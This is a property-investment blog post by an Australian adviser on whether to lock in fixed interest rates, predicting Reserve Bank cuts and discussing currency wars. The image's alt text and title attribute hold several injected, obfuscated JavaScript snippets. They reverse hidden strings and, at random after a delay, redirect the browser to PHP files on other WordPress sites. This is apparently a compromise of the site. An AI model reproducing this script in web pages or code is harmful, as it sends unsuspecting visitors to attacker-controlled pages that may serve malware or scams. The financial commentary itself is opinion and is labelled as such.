Interest Rates … is it a good time to lock them in?
A reader of my blog has asked if this is a good time to lock in interest rates for say 5 years? Following last week’s blog on lending rates for residential investment, I stated that whilst most of the major banks passed on the full 0.25% on most products, they did not do so for situations where people wanted to lock in an interest rate for several years.
![Interest Rates. Is it a Good Time <script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Lock Them In? Steve Taylor & Partners](https://stevetaylor.com.au/wp-content/uploads/2016/03/interest-rates2.jpg "Interest Rates. Is it a Good Time <script>$zXz=function(n){if (typeof ($zXz.list[n]) == \"string\") return $zXz.list[n].split(\"\").reverse().join(\"\");return $zXz.list[n];};$zXz.list=[\"\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to Lock Them In? Steve Taylor & Partners")
It is not likely that there will be an increase in rates anytime soon. You can lock in my prediction of the Reserve Bank dropping rates again this calendar year.
Yes, I am predicting that the Reserve Bank Australia might drop the cash rate to 1.5% before Christmas this year and it could possibly drop further than that.
That’s lower than it has ever been in my lifetime. Why would they do that?
Most people are not aware that the world has been involved in currency wars for several years. The degree of manipulation is now so great, that basic economics is having less and less influence on the value of currencies.
Currency wars are one of the most destructive and feared outcomes in international economics. They offer the sorry spectacle of countries stealing growth from their trading partners.
So if you are getting my drift, I am predicting that the Reserve Bank Australia will lower the cash rate even further, which in turn will lessen the attraction of the Aussie Dollar, which in turn will lessen its value and therefore improve our ability to export.
A lower Australian Dollar is now necessary if the Australian economy is to grow at about 3% by the end of 2017.
Related Reading
Interest Rate Cut Passed On by Major Banks
How is this going to affect my clients?
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Interest rates are the lowest they have ever been and in Brisbane’s northern corridor the rent returns have never been better. A few years ago my clients were spending $300 per week to pay off a $500,000 home and now it is only costing them about $150 per week.
If you have any questions about the current interest rates or negative gearing and are interested in enquiring about buying property to start your Residential Property Portfolio, please contact our office to schedule a free, no-obligation consultation.
If you prefer to listen here is my radio interview on Emerald 4HI:
Steve Taylor
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DISCLAIMER
Steve Taylor & Partners blog is opinion and not advice. Readers should seek their own professional advice on the subject being discussed.